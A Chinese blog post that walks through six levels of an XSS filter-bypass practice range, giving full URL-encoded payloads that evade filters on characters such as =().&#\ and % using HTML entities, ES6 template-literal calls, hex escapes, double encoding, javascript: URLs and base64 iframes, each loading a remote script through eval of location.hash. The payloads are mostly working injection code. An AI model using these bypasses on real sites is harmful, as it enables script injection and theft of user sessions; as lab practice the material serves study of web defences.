美文网首页
独孤九剑-xss绕过练习

独孤九剑-xss绕过练习

作者: nohands_noob | 来源:发表于2020-07-02 22:51 被阅读0次

感谢大佬的靶场和思路,pdf:xss修炼之独孤九剑.pdf

奇怪的xss姿势增加了.jpg

0x01 第一式

http://xcao.vip/test/xss1.php


提示过滤了=()
思路:在<svg>标签中的<sciprt>标签可以执行html编码
alert(1) 对应的html实体编码为:&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
最后payload为:
"><svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>
将其url编码一下,得到:
http://xcao.vip/test/xss1.php?data="><svg><script>%26%23x61%3b%26%23x6C%3b%26%23x65%3b%26%23x72%3b%26%23x74%3b%26%23x28%3b%26%23x31%3b%26%23x29%3b<%2fscript><%2fsvg>

触发xss


接下来加载alert.js,我们可以将需要执行的js代码藏在url的#号后面
然后使用 location.hash获取 #+#号后面的内容
location.hash.slice(1)去除#号,再用eval(location.hash.slice(1))执行,
eval(location.hash.slice(1))对应的html实体编码为:&#x65;&#x76;&#x61;&#x6c;&#x28;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x68;&#x61;&#x73;&#x68;&#x2e;&#x73;&#x6c;&#x69;&#x63;&#x65;&#x28;&#x31;&#x29;&#x29;
最终payload1:
http://xcao.vip/test/xss1.php?data="><svg><script>%26%23x65%3b%26%23x76%3b%26%23x61%3b%26%23x6c%3b%26%23x28%3b%26%23x6c%3b%26%23x6f%3b%26%23x63%3b%26%23x61%3b%26%23x74%3b%26%23x69%3b%26%23x6f%3b%26%23x6e%3b%26%23x2e%3b%26%23x68%3b%26%23x61%3b%26%23x73%3b%26%23x68%3b%26%23x2e%3b%26%23x73%3b%26%23x6c%3b%26%23x69%3b%26%23x63%3b%26%23x65%3b%26%23x28%3b%26%23x31%3b%26%23x29%3b%26%23x29%3b<%2fscript><%2fsvg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

最终payload2:

http://xcao.vip/test/xss1.php?data=%22%3E%3Cscript%3Eeval.call`${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

0x02 第二式

http://xcao.vip/test/xss2.php


提示过滤了=().
第一式的第一种解法可以使用

在es6语法中``是可以代替括号使用的
因此可以使用setTimeout函数去触发代码 setTimeout`代码`
同时可以将代码编码成\uXXXX或者\xXX格式绕过限制
eval(location.hash.slice(1))进行\xXX格式的编码
最终payload:

http://xcao.vip/test/xss2.php?data=%22%3E%3Cscript%3EsetTimeout`\x65\x76\x61\x6C\x28\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x2E\x68\x61\x73\x68\x2E\x73\x6C\x69\x63\x65\x28\x31\x29\x29`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

0x03 第三式

http://xcao.vip/test/xss3.php


过滤了().&#\,开放了=
开放了等于号直接使用<script src='http://xcao.vip/xss/alert.js'></script>
这里还过滤了.号,直接二次编码为%252e完事
最终payload:
http://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=%27http://xcao%252evip/xss/alert%252ejs%27%3E%3C/script%3E

0x04 第四式

http://xcao.vip/test/xss4.php


过滤了=().&#\
大佬的思路是用 url编码+javasjcript伪协议 绕过过滤

document.location.assign再用location['assign'](location['replace']也可以)表示,然后再给javascript伪协议再套一层eval函数
最终payload为:
http://xcao.vip/test/xss4.php?data=%22%3E%3Cscript%3Elocation[%27assign%27]`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

0x05 第五式

http://xcao.vip/test/xss5.php


过滤了().&#\%
大佬的思路是借助十进制ip,绕过.号
其实还可以利用iframe标签加base64编码
http://xcao.vip/test/xss5.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3Etest%3C/iframe%3E%22}%20%3Ciframe%20src=`%3C/script%3E

0x06 第六式

http://xcao.vip/test/xss6.php


过滤了=().&#\%
在第五式的基础上使用top['String']['fromCharCode']`61`代替等号
最终payload:
http://xcao.vip/test/xss6.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%
http://xcao.vip/test/xss6.php/?data=%22%3E%3Cscript%3Edocument[%22write%22]`${location[%27hash%27][%27slice%27]`1`}%3Cimg%20`%3C/script%3E#src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//

剩下的七八九式就不玩了,不得不说大佬们tql

相关文章

  • 独孤九剑-xss绕过练习

    感谢大佬的靶场和思路,pdf:xss修炼之独孤九剑.pdf 奇怪的xss姿势增加了.jpg 0x01 第一式htt...

  • xss绕过

    当常见标签被过滤时,可以尝试以下几种,亲测有效 更多参考www.freebuf.com/articles/web/...

  • XSS 绕过

    javascript 1、JavaScript代码可以直接嵌在网页的任何地方,不过通常我们都把JavaScript...

  • XSS绕过WAF

    http://www.freebuf.com/articles/web/54686.html

  • XSS绕过姿势

    0x01 简单介绍 一个文件上传点是执行XSS应用程序的绝佳机会。很多网站都有用户权限上传个人资料图片的上传点,你...

  • XSS 绕过方法

    1、大小写混用 2、拼凑后台可能对一些字符过滤了一次,但是过滤后的其余字符又重新拼凑 3、注释干扰 4、使用img...

  • xss编码绕过

    对于xss等有关的html,url,unicode编码做的一个小总结。 - 奶奶奶奶奶糖 - 博客园

  • XSS攻击(Cross Site Scripting)

    参考资料:[1]. 浅谈XSS攻击的那些事(附常用绕过姿势)[2]. XSS(偷你的Cookies) 什么是XSS...

  • 绕过XSS-Filter

    绕过XSS-Filter (1)利用<>标记 XSS-Filter通常过滤转义“<>”“ ”等字符 (2)利用HT...

  • XSS绕过学习【转载】

    1,绕过单引号 我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通 过一些类似add_...

网友评论

      本文标题:独孤九剑-xss绕过练习

      本文链接:https://www.haomeiwen.com/subject/fcngfktx.html